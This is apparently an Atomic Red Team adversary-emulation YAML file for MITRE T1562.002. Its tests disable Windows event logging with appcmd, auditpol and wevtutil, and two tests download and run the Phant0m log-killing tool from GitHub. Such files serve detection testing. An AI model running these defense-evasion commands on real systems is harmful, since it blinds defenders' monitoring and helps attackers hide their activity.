attack_technique: T1562.002
display_name: 'Impair Defenses: Disable Windows Event Logging'
atomic_tests:
- name: Disable Windows IIS HTTP Logging
  auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db
  description: |
    Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
    This action requires HTTP logging configurations in IIS to be unlocked.

    Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)
  supported_platforms:
  - windows
  input_arguments:
    website_name:
      description: The name of the website on a server
      type: String
      default: Default Web Site
  executor:
    command: |
      C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true
    cleanup_command: |
      if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
        C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
      }
    name: powershell
- name: Kill Event Log Service Threads
  auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd
  description: 'Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html'
  supported_platforms:
  - windows
  executor:
    command: |
      Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
      $url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"
      $output = "$env:TEMP\Invoke-Phant0m.ps1"
      $wc = New-Object System.Net.WebClient
      $wc.DownloadFile($url, $output)
      cd $env:TEMP
      Import-Module .\Invoke-Phant0m.ps1
      Invoke-Phant0m
    cleanup_command: |
      Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
      Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: 'Impair Windows Audit Log Policy'
  auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8
  description: >-
    Disables the windows audit policy to prevent key host based telemetry being
    written into the event logs.
    
    [Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)
  supported_platforms:
    - windows
  executor:
    command: |
      auditpol /set /category:"Account Logon" /success:disable /failure:disable
      auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
      auditpol /set /category:"Detailed Tracking" /success:disable
    cleanup_command: |
      auditpol /set /category:"Account Logon" /success:enable /failure:enable
      auditpol /set /category:"Detailed Tracking" /success:enable
      auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
    name: command_prompt
    elevation_required: true
- name: 'Clear Windows Audit Policy Config'
  auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6
  description: >-
    Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.
  supported_platforms:
    - windows
  executor:
    command: |
      auditpol /clear /y
      auditpol /remove /allusers
    cleanup_command: |
      auditpol /set /category:"Account Logon" /success:enable /failure:enable
      auditpol /set /category:"Detailed Tracking" /success:enable
      auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
    name: command_prompt
    elevation_required: true
- name: Disable Event Logging with wevtutil
  auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103
  description: |
    Wevtutil can be used to disable logs. 
    NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.
  supported_platforms:
  - windows
  input_arguments:
    log_name:
      description: Name of the log to be disabled
      type: String
      default: Microsoft-Windows-IKE/Operational
  executor:
    command: |
      wevtutil sl "#{log_name}" /e:false
    cleanup_command: |
      wevtutil sl "#{log_name}" /e:true
    name: command_prompt
- name: 'Makes Eventlog blind with Phant0m'
  auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741
  description: |
    Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog
  supported_platforms:
  - windows
  input_arguments:
    file_name:
      description: exe version of Phant0m
      type: Path
      default: PathToAtomicsFolder\T1562.002\bin\Phant0m.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Phant0m.exe must exist on disk at specified location (#{file_name})
    prereq_command: |
      if (Test-Path #{file_name}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing
  executor:
    command: |
      PathToAtomicsFolder\T1562.002\bin\Phant0m.exe
    cleanup_command: |
      echo "Sorry you have to reboot"
    name: command_prompt